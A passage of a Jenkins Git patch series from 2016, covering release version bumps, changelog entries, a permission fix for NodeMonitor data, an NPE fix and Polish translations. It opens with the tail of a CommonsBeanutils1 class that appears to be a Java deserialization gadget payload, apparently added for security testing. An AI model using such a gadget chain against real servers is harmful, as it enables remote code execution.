Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = templates; + queueArray[1] = templates; + + return queue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsBeanutils1.class, args); + } } \ No newline at end of file -- GitLab From 5df61d42d01c2857264748cc6c871491ac3ae79c Mon Sep 17 00:00:00 2001 From: Alvaro Lobato Date: Tue, 15 Nov 2016 15:50:02 +0100 Subject: [PATCH 336/712] [JENKINS-39741] - Redirect to login page after authorisation error when checking connectivity to update center and handle any other error. --- war/src/main/js/util/jenkins.js | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/war/src/main/js/util/jenkins.js b/war/src/main/js/util/jenkins.js index 6b31f42681..43c031fe33 100644 --- a/war/src/main/js/util/jenkins.js +++ b/war/src/main/js/util/jenkins.js @@ -244,7 +244,14 @@ exports.testConnectivity = function(siteId, handler) { handler(true); } } - }); + }, { error: function(xhr, textStatus, errorThrown) { + if (xhr.status === 403) { + exports.goTo('/login'); + } else { + handler.call({ isError: true, errorMessage: errorThrown }); + } + } + }); }; testConnectivity(); }; -- GitLab From e47c681f9f6c66414d33b4c0f721b8f0abf6dd64 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 15 Nov 2016 17:34:59 +0100 Subject: [PATCH 337/712] Take advantage of LoggerRule to simplify test. --- .../TokenBasedRememberMeServices2Test.groovy | 41 +++---------------- 1 file changed, 5 insertions(+), 36 deletions(-) diff --git a/test/src/test/groovy/hudson/security/TokenBasedRememberMeServices2Test.groovy b/test/src/test/groovy/hudson/security/TokenBasedRememberMeServices2Test.groovy index 435eb4fbb7..4796f12b5b 100644 --- a/test/src/test/groovy/hudson/security/TokenBasedRememberMeServices2Test.groovy +++ b/test/src/test/groovy/hudson/security/TokenBasedRememberMeServices2Test.groovy @@ -10,11 +10,10 @@ import org.acegisecurity.userdetails.User import org.acegisecurity.userdetails.UserDetails import org.acegisecurity.userdetails.UsernameNotFoundException import com.gargoylesoftware.htmlunit.util.Cookie -import org.junit.After -import org.junit.Before import org.junit.Rule import org.junit.Test import org.jvnet.hudson.test.JenkinsRule +import org.jvnet.hudson.test.LoggerRule import org.springframework.dao.DataAccessException import java.util.logging.Handler @@ -31,41 +30,11 @@ import static java.util.logging.Level.FINEST class TokenBasedRememberMeServices2Test { @Rule public JenkinsRule j = new JenkinsRule(); + @Rule + public LoggerRule logging = new LoggerRule() private boolean failureInduced; - private Logger logger = Logger.getLogger(TokenBasedRememberMeServices.class.name) - - private List logs = [] - private Handler loghandler - - @Before - public void setUp() { - loghandler = new Handler() { - @Override - void publish(LogRecord record) { - logs.add(record); - } - - @Override - void flush() { - } - - @Override - void close() throws SecurityException { - } - } - loghandler.level = FINEST - logger.addHandler(loghandler) - logger.level = FINEST - } - - @After - public void tearDown() { - logger.removeHandler(loghandler); - logger.level = null - } - @Test public void rememberMeAutoLoginFailure() { j.jenkins.securityRealm = new InvalidUserWhenLoggingBackInRealm() @@ -83,12 +52,12 @@ class TokenBasedRememberMeServices2Test { wc.cookieManager.addCookie(c); // even if SecurityRealm chokes, it shouldn't kill the page - logs.clear() + logging.capture(1000).record(TokenBasedRememberMeServices.class, FINEST) wc.goTo("") // make sure that the server recorded this failure assert failureInduced - assert logs.find { it.message.contains("contained username 'alice' but was not found")}!=null + assert logging.messages.find { it.contains("contained username 'alice' but was not found")}!=null // and the problematic cookie should have been removed assert getRememberMeCookie(wc)==null } -- GitLab From 33c3037dae0b2fa6e331bcd661941006585c22b3 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 16 Nov 2016 06:13:35 -0800 Subject: [PATCH 338/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index ef2d49c164..f30a6acd7b 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.32 + 2.33-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 6455660f16..ca845d2f0f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32 + 2.33-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 3c1e84c133..90b2419d21 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32 + 2.33-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.32 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 21cadf9b1b..0a28bfa186 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32 + 2.33-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 6cb710c758..fe6878f4b5 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32 + 2.33-SNAPSHOT jenkins-war -- GitLab From b75d42edb4b96cd6f607a398d7023952d876bec9 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 16 Nov 2016 06:13:35 -0800 Subject: [PATCH 339/712] [maven-release-plugin] prepare release jenkins-2.32 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index ec31a80134..ef2d49c164 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.32-SNAPSHOT + 2.32 cli diff --git a/core/pom.xml b/core/pom.xml index 2a79b95f2c..6455660f16 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32-SNAPSHOT + 2.32 jenkins-core diff --git a/pom.xml b/pom.xml index 2f60154cee..3c1e84c133 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32-SNAPSHOT + 2.32 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.32 diff --git a/test/pom.xml b/test/pom.xml index 7ab69c2ffa..21cadf9b1b 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32-SNAPSHOT + 2.32 test diff --git a/war/pom.xml b/war/pom.xml index aabb0cd6f4..6cb710c758 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32-SNAPSHOT + 2.32 jenkins-war -- GitLab From 96a9fba82b850267506e50e11f56f05359fa5594 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 16 Nov 2016 06:20:54 -0800 Subject: [PATCH 340/712] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index 9087b27c03..3f720dde5d 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes
        • +

          What's new in 2.32 (2016/11/16)

          +
            +
          • +

          What's new in 2.31 (2016/11/13)

          • -- GitLab From 4bbf611a7c69cb927804140ae576dd15d2ff89fc Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 16 Nov 2016 07:50:00 -0800 Subject: [PATCH 341/712] [maven-release-plugin] prepare release jenkins-2.19.3 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 3695688a20..d50b46e31f 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.19.3-SNAPSHOT + 2.19.3 cli diff --git a/core/pom.xml b/core/pom.xml index 2682c8b485..6f6e6ea8d7 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3-SNAPSHOT + 2.19.3 jenkins-core diff --git a/pom.xml b/pom.xml index fee4b39e0c..5da8f267ac 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3-SNAPSHOT + 2.19.3 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.19.1 + jenkins-2.19.3 diff --git a/test/pom.xml b/test/pom.xml index 69c8c3982f..d8bda55377 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3-SNAPSHOT + 2.19.3 test diff --git a/war/pom.xml b/war/pom.xml index 2ba8582ee2..5c49329e99 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3-SNAPSHOT + 2.19.3 jenkins-war -- GitLab From b1d7e0ee3ce13b504129f78d4f7d0fbddcc632e8 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 16 Nov 2016 07:50:00 -0800 Subject: [PATCH 342/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index d50b46e31f..89774ab5e0 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.19.3 + 2.19.4-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 6f6e6ea8d7..a6614a3b0e 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3 + 2.19.4-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 5da8f267ac..7db82638ed 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3 + 2.19.4-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.19.3 + jenkins-2.19.1 diff --git a/test/pom.xml b/test/pom.xml index d8bda55377..f1d12f39d3 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3 + 2.19.4-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 5c49329e99..4a3896734a 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.3 + 2.19.4-SNAPSHOT jenkins-war -- GitLab From b4b0815300cc07a87449f0bc199ebb67ec415ff1 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 16 Nov 2016 07:56:52 -0800 Subject: [PATCH 343/712] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 728fcf8d4c..fc7a6c2f51 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

            What's new in 2.19.3 (2016/11/16)

            • Prevent File descriptor leaks when reading plugin manifests. @@ -82,7 +87,6 @@ Upcoming changes from INFO to FINE. (PR #2510)
            -

            What's new in 2.18 (2016/08/15)

            • -- GitLab From 6aac6e3159b4108114591f610d4a9508506d5016 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 16 Nov 2016 17:30:18 +0100 Subject: [PATCH 344/712] Add changelog for 2.32 --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 3f720dde5d..2abfe35173 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,11 @@ Upcoming changes

              What's new in 2.32 (2016/11/16)

                -
              • +
              • + Important security fixes + (security advisory) +
              • + Allow disabling the Jenkins CLI over HTTP and JNLP agent port by setting the System property jenkins.CLI.disabled to true.

              What's new in 2.31 (2016/11/13)

                -- GitLab From c19a56d214d46f89d9c6b78dc833a5b019581654 Mon Sep 17 00:00:00 2001 From: Andrew Bayer Date: Thu, 17 Nov 2016 10:45:04 -0800 Subject: [PATCH 345/712] [SECURITY-343] Restrict API access to NodeMonitor data Switch to requiring EXTENDED_READ permission for access to NodeMonitor data. It might theoretically be better if we had more granular permissions on each NodeMonitor, but that's a bigger change, and since EXTENDED_READ is already what we use to limit access to serving the computer's config.xml, I think this is appropriate. --- core/src/main/java/hudson/model/Computer.java | 6 ++++-- .../model/ComputerConfigDotXmlTest.java | 20 +++++++++++++++++++ 2 files changed, 24 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/model/Computer.java b/core/src/main/java/hudson/model/Computer.java index 080f9462d0..69eca9159b 100644 --- a/core/src/main/java/hudson/model/Computer.java +++ b/core/src/main/java/hudson/model/Computer.java @@ -1072,8 +1072,10 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces @Exported(inline=true) public Map getMonitorData() { Map r = new HashMap(); - for (NodeMonitor monitor : NodeMonitor.getAll()) - r.put(monitor.getClass().getName(),monitor.data(this)); + if (hasPermission(EXTENDED_READ)) { + for (NodeMonitor monitor : NodeMonitor.getAll()) + r.put(monitor.getClass().getName(), monitor.data(this)); + } return r; } diff --git a/test/src/test/java/hudson/model/ComputerConfigDotXmlTest.java b/test/src/test/java/hudson/model/ComputerConfigDotXmlTest.java index 30677a1535..b6698c8c97 100644 --- a/test/src/test/java/hudson/model/ComputerConfigDotXmlTest.java +++ b/test/src/test/java/hudson/model/ComputerConfigDotXmlTest.java @@ -27,6 +27,8 @@ import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.equalTo; import static org.hamcrest.Matchers.startsWith; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; import static org.mockito.Mockito.spy; import static org.mockito.Mockito.when; import hudson.security.ACL; @@ -140,6 +142,24 @@ public class ComputerConfigDotXmlTest { assertThat(updatedSlave.getNumExecutors(), equalTo(42)); } + @Test + public void emptyNodeMonitorDataWithoutExtendedRead() throws Exception { + rule.jenkins.setAuthorizationStrategy(new GlobalMatrixAuthorizationStrategy()); + + assertTrue(computer.getMonitorData().isEmpty()); + } + + @Test + public void populatedNodeMonitorDataWithExtendedRead() throws Exception { + GlobalMatrixAuthorizationStrategy auth = new GlobalMatrixAuthorizationStrategy(); + rule.jenkins.setAuthorizationStrategy(auth); + auth.add(Computer.CONFIGURE, "user"); + + assertFalse(computer.getMonitorData().isEmpty()); + } + + + private OutputStream captureOutput() throws IOException { final ByteArrayOutputStream baos = new ByteArrayOutputStream(); -- GitLab From 0399037f842d1c9c4fbbc970421fafa3ecdac7eb Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 13 Nov 2016 22:39:04 +0100 Subject: [PATCH 346/712] [FIXED JENKINS-38721, JENKINS-37282] - NPE in "CauseOfInterruption.UserInterruption" when user is missing (#2630) * [FIXED JENKINS-38721] - Prevent NPE during rendering of "CauseOfInterruption.UserInterruption" when user is missing It is a regression introduced in JENKINS-36594 * [JENKINS-38721] - Fix typo (cherry picked from commit 91ad59214234e7724d586f64f8fb6db35104857b) --- .../jenkins/model/CauseOfInterruption.java | 35 +++++++++++++++++-- .../UserInterruption/summary.groovy | 7 +++- .../UserInterruption/summary.properties | 3 +- .../UserInterruption/summary_ja.properties | 3 +- .../UserInterruption/summary_pl.properties | 3 +- .../UserInterruption/summary_sr.properties | 4 +++ .../UserInterruption/summary_zh_TW.properties | 1 + 7 files changed, 49 insertions(+), 7 deletions(-) create mode 100644 core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties diff --git a/core/src/main/java/jenkins/model/CauseOfInterruption.java b/core/src/main/java/jenkins/model/CauseOfInterruption.java index 81dd16111d..557110f239 100644 --- a/core/src/main/java/jenkins/model/CauseOfInterruption.java +++ b/core/src/main/java/jenkins/model/CauseOfInterruption.java @@ -33,6 +33,7 @@ import org.kohsuke.stapler.export.ExportedBean; import java.io.Serializable; import java.util.Collections; import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; /** * Records why an {@linkplain Executor#interrupt() executor is interrupted}. @@ -74,18 +75,46 @@ public abstract class CauseOfInterruption implements Serializable { * Indicates that the build was interrupted from UI. */ public static final class UserInterruption extends CauseOfInterruption { + + @Nonnull private final String user; - public UserInterruption(User user) { + public UserInterruption(@Nonnull User user) { this.user = user.getId(); } - public UserInterruption(String userId) { + public UserInterruption(@Nonnull String userId) { this.user = userId; } - @CheckForNull + /** + * Gets ID of the user, who interrupted the build. + * @return User ID + * @since TODO + */ + @Nonnull + public String getUserId() { + return user; + } + + /** + * Gets user, who caused the interruption. + * @return User instance if it can be located. + * Result of {@link User#getUnknown()} otherwise + */ + @Nonnull public User getUser() { + final User userInstance = getUserOrNull(); + return userInstance != null ? userInstance : User.getUnknown(); + } + + /** + * Gets user, who caused the interruption. + * @return User or {@code null} if it has not been found + * @since TODO + */ + @CheckForNull + public User getUserOrNull() { return User.get(user, false, Collections.emptyMap()); } diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy index ec48cb9efa..b75b2386f9 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy @@ -1,4 +1,9 @@ package jenkins.model.CauseOfInterruption.UserInterruption; // by default we just print the short description. -raw(_("blurb",my.user.fullName, rootURL+'/'+my.user.url)) \ No newline at end of file +def user = my.userOrNull +if (user != null) { + raw(_("blurb", user.fullName, rootURL+'/'+user.url)) +} else { + raw(_("userNotFound", my.userId)) +} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties index 1f1f63c2bc..1ada7d261b 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties @@ -1 +1,2 @@ -blurb=Aborted by user {0} \ No newline at end of file +blurb=Aborted by user {0} +userNotFound=Aborted by user {0} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties index e2d2051a6e..3cd254db98 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties @@ -1 +1,2 @@ -blurb=\u30e6\u30fc\u30b6\u30fc {0} \u306b\u3088\u308a\u4e2d\u65ad \ No newline at end of file +blurb=\u30e6\u30fc\u30b6\u30fc {0} \u306b\u3088\u308a\u4e2d\u65ad +userNotFound=\u30e6\u30fc\u30b6\u30fc {0} \u306b\u3088\u308a\u4e2d\u65ad diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties index 0095ece665..d2c91f76b0 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties @@ -1 +1,2 @@ -blurb=Przerwane przez u\u017Cytkownika {0} \ No newline at end of file +blurb=Przerwane przez u\u017cytkownika {0} +userNotFound=Przerwane przez u\u017cytkownika {0} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties new file mode 100644 index 0000000000..a88ce0631c --- /dev/null +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +blurb=\u041e\u0442\u043a\u0430\u0437\u0430\u043d\u043e \u043a\u043e\u0440\u0438\u0441\u043d\u0438\u043a\u043e\u043c {0} +userNotFound=\u041e\u0442\u043a\u0430\u0437\u0430\u043d\u043e \u043a\u043e\u0440\u0438\u0441\u043d\u0438\u043a\u043e\u043c {0} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties index db91795756..3b2ac62c06 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties @@ -22,3 +22,4 @@ # THE SOFTWARE. blurb=\u7531\u4f7f\u7528\u8005 {0} \u4e2d\u6b62 +userNotFound=\u7531\u4f7f\u7528\u8005 {0} \u4e2d\u6b62 -- GitLab From 60f3d0e157153d8f072ce860d9ebf6a7a89bfa85 Mon Sep 17 00:00:00 2001 From: Damian Szczepanik Date: Sun, 13 Nov 2016 01:01:05 +0100 Subject: [PATCH 347/712] Polish translations for settings --- .../PluginManager/installed_pl.properties | 10 ++++-- .../configure-common_pl.properties | 31 +++++++++++++---- .../AbstractProject/sidepanel_pl.properties | 8 +++-- .../config_pl.properties | 28 +++++++++++++++ .../hudson/model/Messages_pl.properties | 34 ++++++++++++++++++- .../hudson/model/User/configure_pl.properties | 25 +++++++++++++- .../hudson/search/Messages_pl.properties | 23 +++++++++++++ .../UserSearchProperty/config_pl.properties | 24 +++++++++++++ .../ArtifactArchiver/config_pl.properties | 14 ++++++-- .../tasks/LogRotator/config_pl.properties | 31 ++++++++++++++--- .../triggers/SCMTrigger/config_pl.properties | 22 ++++++++++++ .../TimerTrigger/config_pl.properties | 22 ++++++++++++ .../jenkins/management/Messages_pl.properties | 8 +++-- .../ReverseBuildTrigger/config_pl.properties | 25 ++++++++++++++ 14 files changed, 282 insertions(+), 23 deletions(-) create mode 100644 core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties create mode 100644 core/src/main/resources/hudson/search/Messages_pl.properties create mode 100644 core/src/main/resources/hudson/search/UserSearchProperty/config_pl.properties create mode 100644 core/src/main/resources/hudson/triggers/SCMTrigger/config_pl.properties create mode 100644 core/src/main/resources/hudson/triggers/TimerTrigger/config_pl.properties create mode 100644 core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_pl.properties diff --git a/core/src/main/resources/hudson/PluginManager/installed_pl.properties b/core/src/main/resources/hudson/PluginManager/installed_pl.properties index df5e363201..9fd5654ff2 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_pl.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Sun Microsystems, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -32,4 +32,10 @@ Unpin=Odepnij Version=Wersja downgradeTo=Powr\u00F3\u0107 do starszej wersji {0} requires.restart=Wymagane jest ponowne uruchomienie Jenkinsa. Zmiany wtyczek w tym momencie s\u0105 bardzo niewskazane. Uruchom ponownie Jenkinsa, zanim wprowadzisz zmiany. -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins \ No newline at end of file +Uninstallation\ pending=Trwa odinstalowywanie +This\ plugin\ cannot\ be\ disabled=Ta wtyczka nie mo\u017Ce by\u0107 wy\u0142\u0105czona +No\ plugins\ installed.=Brak zainstalowanych wtyczek +This\ plugin\ cannot\ be\ enabled=Ta wtyczka nie mo\u017Ce by\u0107 wy\u0142\u0105czona +Update\ Center=Centrum aktualizacji +Filter=Filtruj +No\ description\ available.=Opis nie jest dost\u0119pny diff --git a/core/src/main/resources/hudson/model/AbstractProject/configure-common_pl.properties b/core/src/main/resources/hudson/model/AbstractProject/configure-common_pl.properties index cda4b2957f..7f251d1bed 100644 --- a/core/src/main/resources/hudson/model/AbstractProject/configure-common_pl.properties +++ b/core/src/main/resources/hudson/model/AbstractProject/configure-common_pl.properties @@ -1,7 +1,24 @@ -# This file is under the MIT License by authors - -Advanced\ Project\ Options=Zaawansowane opcje projektu -Display\ Name=Nazwa wy\u015bwietlana -JDK\ to\ be\ used\ for\ this\ project=JDK u\u017cyte do budowy projektu -default.value=(Domy\u015blny) -Keep\ the\ build\ logs\ of\ dependencies=Trzymaj logi projekt\u00f3w zale\u017cnych +# The MIT License +# +# Copyright (c) 2004-2016, Sun Microsystems, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Display\ Name=Nazwa wy\u015Bwietlana +JDK\ to\ be\ used\ for\ this\ project=JDK u\u017Cyte do budowy projektu +Keep\ the\ build\ logs\ of\ dependencies=Trzymaj logi konsoli projekt\u00F3w zale\u017Cnych diff --git a/core/src/main/resources/hudson/model/AbstractProject/sidepanel_pl.properties b/core/src/main/resources/hudson/model/AbstractProject/sidepanel_pl.properties index 201bb0fedd..9e14bfa982 100644 --- a/core/src/main/resources/hudson/model/AbstractProject/sidepanel_pl.properties +++ b/core/src/main/resources/hudson/model/AbstractProject/sidepanel_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Sun Microsystems, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -22,6 +22,8 @@ Back\ to\ Dashboard=Powr\u00F3t do tablicy Changes=Rejestr zmian -Wipe\ Out\ Workspace=Wyczy\u015b\u0107 przestrze\u0144 robocz\u0105 +Wipe\ Out\ Workspace=Wyczy\u015B\u0107 przestrze\u0144 robocz\u0105 Workspace=Przestrze\u0144 robocza -wipe.out.confirm=Czy na pewno wyczy\u015bci\u0107 przestrze\u0144 robocz\u0105? +wipe.out.confirm=Czy na pewno wyczy\u015Bci\u0107 przestrze\u0144 robocz\u0105? +Status=Status +Up=Powr\u00F3t diff --git a/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties b/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties new file mode 100644 index 0000000000..f65ddfe8ab --- /dev/null +++ b/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties @@ -0,0 +1,28 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. 